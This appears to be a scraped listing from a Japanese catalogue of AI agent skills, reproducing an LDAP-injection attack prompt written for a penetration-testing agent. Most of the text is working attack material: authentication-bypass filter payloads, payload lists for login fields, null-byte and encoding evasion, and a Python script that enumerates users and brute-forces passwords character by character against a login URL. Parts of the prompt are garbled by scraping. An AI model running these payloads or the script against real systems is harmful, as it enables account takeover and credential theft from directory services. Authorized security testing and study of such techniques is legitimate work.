You are helping a penetration tester exploit misconfigured Active Directory
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester exploit LDAP injection vulnerabilities.
インストールする前に、エージェントに与えられる指示の中身を確認できます。
You are helping a penetration tester exploit LDAP injection vulnerabilities. The target application passes user-controlled input into LDAP search filters (RFC 4515) without proper sanitization. The goal is to bypass authentication, extract directory data, or enumerate users and attributes. All testing is under explicit written authorization.
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
[ldap-injection] Activated → <target> to the screen on activation.engagement/evidence/ with
descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
Your return summary must include:
ldap_search, InvalidFilterException, Bad search filter,
javax.naming.directory, corporate intranet with directory-backed authUnderstanding filter structure is critical for crafting injection payloads.
RFC 4515 filter format:
(attribute=value) Simple match
(&(filter1)(filter2)) AND — both must match
(|(filter1)(filter2)) OR — either matches
(!(filter)) NOT — negation
(attribute=val*) Substring/wildcard match
(attribute>=value) Greater-or-equal
(attribute<=value) Less-or-equal
(attribute=*) Presence — attribute exists (any value)
Special characters (must be escaped in safe input):
* → \2a (wildcard)
( → \28 (open paren)
) → \29 (close paren)
\ → \5c (backslash)
NUL → \00 (null byte)
Common server-side filter templates (where injection occurs):
# Login — AND filter with uid + password
(&(uid=USER_INPUT)(userPassword=PASS_INPUT))
# Login — AD-style with sAMAccountName
(&(sAMAccountName=USER_INPUT)(userPassword=PASS_INPUT))
# Search — simple filter
(cn=SEARCH_INPUT)
# Search — OR filter
(|(cn=SEARCH_INPUT)(sn=SEARCH_INPUT))
# Group check
(&(objectClass=group)(cn=GROUP_INPUT))
# Address book lookup
(&(objectClass=person)(|(cn=INPUT)(mail=INPUT)))
Injection works by closing the current filter element and adding new conditions that change the query logic.
If not already provided, determine:
(&...), OR (|...), or simple (attr=...)?Inject into each input field and observe response changes:
* # Wildcard — if response changes, LDAP may be in play
)(cn=*))(|(cn=* # Filter breakout — triggers error if filter is parsed
\ # Backslash — may cause LDAP escape handling errors
Error fingerprints that confirm LDAP backend:
Bad search filter
Invalid filter
ldap_search
javax.naming.directory.InvalidSearchFilterException
LDAP error code 12
Inappropriate matching
NamingException
LdapErr: DSID-
If injecting * into a username field returns a valid login or different user,
LDAP injection is confirmed.
The most common LDAP injection target. The server constructs an AND filter
like (&(uid=INPUT)(userPassword=INPUT)) and checks if it returns a result.
If the password field is interpolated directly:
# Server filter: (&(uid=INPUT)(userPassword=INPUT))
# Inject * as password — matches any password value
Username: admin
Password: *
# Resulting filter: (&(uid=admin)(userPassword=*))
# Matches admin with ANY password
This is the simplest test — try it first.
Close the current attribute, inject a true condition, comment out the rest:
# Server filter: (&(uid=INPUT)(userPassword=INPUT))
# Inject into username — close uid, add always-true, null-byte to truncate
Username: admin)(&)
Password: anything
# Resulting filter: (&(uid=admin)(&))(userPassword=anything))
# (&) is always true in some implementations
# Inject into username — close uid, inject wildcard objectClass
Username: admin)(objectClass=*
Password: anything
# Resulting filter: (&(uid=admin)(objectClass=*)(userPassword=anything))
# objectClass=* is always true — but password still checked
# Best: close the entire AND, start a new always-true filter
Username: admin)(%00
Password: anything
# Resulting filter: (&(uid=admin)(\00)(userPassword=anything))
# Null byte may truncate the filter after uid=admin
If the filter uses OR (common in search forms):
# Server filter: (|(cn=INPUT)(sn=INPUT))
# Inject into first field to match everything
Input: *)(objectClass=*
# Resulting filter: (|(cn=*)(objectClass=*)(sn=INPUT))
# objectClass=* matches every entry in the directory
Try these against the username field (use any value for password):
*
admin*
*)(&
*)(|(&
admin)(&)
admin)(|(password=*
admin)(%26)
admin)(objectClass=*
admin))(|(uid=*
Try these against the password field (use admin or known username):
*
*)(&
*)(|(&
anything)(|(objectClass=*
If * in username returns the first matching user:
Username: * → logs in as first user in directory (often admin)
Username: a* → first user starting with 'a'
Username: admin* → matches 'admin', 'administrator', etc.
When injection works (response differs for match vs no-match) but data isn't directly reflected. Extract values character by character using wildcards.
# Test first character of admin's password
admin)(userPassword=a* → no match
admin)(userPassword=b* → no match
...
admin)(userPassword=s* → MATCH — first char is 's'
# Test second character
admin)(userPassword=sa* → no match
admin)(userPassword=sb* → no match
...
admin)(userPassword=se* → MATCH — second char is 'e'
# Continue until no wildcard matches
admin)(userPassword=secret → exact match confirms full value
#!/usr/bin/env python3
"""LDAP blind attribute extraction via wildcard injection."""
import requests
import string
import sys
import urllib.parse
URL = "http://TARGET/login"
USERNAME_FIELD = "username"
PASSWORD_FIELD = "password"
TARGET_USER = "admin"
# Charset — adjust based on target (AD passwords vs LDAP simple bind)
CHARSET = string.ascii_lowercase + string.digits + string.ascii_uppercase + "!@#$%^&*()-_=+"
# What indicates a successful match
SUCCESS_INDICATOR = "Welcome" # or check status code, response size, redirect
def check(payload_user, payload_pass):
"""Send login request, return True if match."""
data = {USERNAME_FIELD: payload_user, PASSWORD_FIELD: payload_pass}
r = requests.post(URL, data=data, allow_redirects=False)
return SUCCESS_INDICATOR in r.text or r.status_code == 302
def extract_attribute(target_user, attribute="userPassword"):
"""Extract attribute value character by character."""
extracted = ""
while True:
found = False
for c in CHARSET:
# Inject: admin)(userPassword=extracted+c*
payload = f"{target_user})({attribute}={extracted}{c}*"
if check(payload, "anything"):
extracted += c
print(f"[+] {attribute}: {extracted}")
found = True
break
if not found:
break
return extracted
def enumerate_users(prefix=""):
"""Discover usernames via uid wildcard brute-force."""
users = []
for c in string.ascii_lowercase + string.digits:
test = prefix + c
if check(f"{test}*", "*"):
# This prefix matches at least one user — recurse
deeper = enumerate_users(test)
if deeper:
users.extend(deeper)
else:
users.append(test)
if not users and prefix:
users.append(prefix)
return users
if __name__ == "__main__":
print("[*] Enumerating users...")
users = enumerate_users()
for u in users:
print(f"[+] User: {u}")
pwd = extract_attribute(u, "userPassword")
print(f" Password: {pwd}")
Valuable attributes to extract via blind injection:
| Attribute | Value |
|---|---|
userPassword | Password (LDAP simple bind) |
description | Often contains notes, sometimes passwords — check early |
mail | Email address (phishing, password resets) |
telephoneNumber | Phone number (social engineering, MFA bypass) |
memberOf | Group memberships — identify Domain Admins, privileged groups |
sAMAccountName | AD username |
userPrincipalName | UPN — user@domain format |
uid | Unix/LDAP username |
adminCount | AD admin flag (1 = privileged account) |
servicePrincipalName | SPNs — Kerberoasting targets |
homeDirectory | Home path (may reveal OS info, network shares) |
sshPublicKey | SSH public key (OpenLDAP with openssh-lpk) |
pwdLastSet | Password age — find stale passwords |
userAccountControl | Account flags — find no-preauth (AS-REP roastable) |
Adapt the blind extraction script — change the attribute parameter:
# Extract email
admin)(mail=a*
admin)(mail=ab*
...
# Extract description
admin)(description=a*
...
# Check group membership
admin)(memberOf=CN=Domain Admins*
When you don't know which attributes exist, enumerate them using the presence
operator (attribute=*):
# Test if attribute exists for a user
admin)(mail=* → MATCH means mail attribute exists
admin)(telephoneNumber=* → no match means attribute not set
admin)(description=* → MATCH means description is populated
admin)(sshPublicKey=* → test for SSH key storage
Common attributes to probe:
uid, cn, sn, givenName, displayName, mail, userPassword,
telephoneNumber, mobile, description, title, department,
memberOf, sAMAccountName, userPrincipalName, homeDirectory,
loginShell, uidNumber, gidNumber, objectClass, sshPublicKey
Some LDAP libraries (especially older ones or those using C bindings) truncate the filter at a null byte:
# Server filter: (&(uid=INPUT)(userPassword=INPUT))
Username: admin)%00
Password: anything
# Resulting filter: (&(uid=admin)\00)(userPassword=anything))
# If truncated: (&(uid=admin) → matches admin regardless of password
Works on: older PHP ldap_search(), some Java JNDI implementations, C-based LDAP clients. Does NOT work on modern implementations that handle null bytes.
If the app filters * or ( but not hex escapes:
\2a → *
\28 → (
\29 → )
\5c → \
\00 → NUL
Example:
Username: admin\29\28objectClass=\2a
# Decoded: admin)(objectClass=*
If the app URL-decodes once but LDAP processes the second encoding:
%252a → %2a → *
%2528 → %28 → (
%2529 → %29 → )
Some apps pass headers to LDAP queries (X-Forwarded-For for logging, Authorization for LDAP bind):
X-Forwarded-User: admin)(objectClass=*
Authorization: Basic YWRtaW4pKG9iamVjdENsYXNzPSo=
# Base64 of: admin)(objectClass=*
In search contexts with OR filters, inject to return all entries:
# Server filter: (|(cn=INPUT)(sn=INPUT))
# Inject to match everything:
Input: *)(objectClass=*
# Result: (|(cn=*)(objectClass=*)(sn=INPUT))
# Returns every object in the search base
If the app displays results, this dumps the directory.
STOP and return to the orchestrator with:
*) are common in normal LDAP operations — low detection
risk for simple injection tests* — try hex encoding: \2abind() instead of compare() — bind
operations don't support wildcards. Try filter breakout instead.admin)(&) # Close + always-true AND
admin)(|(uid=*) # Close + always-true OR
admin))%00 # Close + null truncation
admin)(objectClass=*))(&)(|( # Balance all parens
(attribute=*) firstuserPassword
is often ACL-protected in production LDAP)( — if error mentions "unbalanced parentheses", it's a filter* alone — if behavior changes, wildcard matching is activeadmin)(&)(|( — if error, you're inside a complex filterImportant distinction:
(&(uid=INPUT)(userPassword=INPUT)) → injectableldap_bind(dn, password) → password is NOT in a filter,
only the DN construction may be injectableまだレビューはありません。使ってみた感想をお寄せください。
概要と使いどころ
You are helping a penetration tester exploit misconfigured Active Directory
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester enumerate an Active Directory domain and
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester establish persistent access in Active
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester exploit ADCS through template/CA access
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester establish persistence through AD CS
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester exploit misconfigured AD CS certificate
日本語の概要は準備中です。原文の説明を表示しています。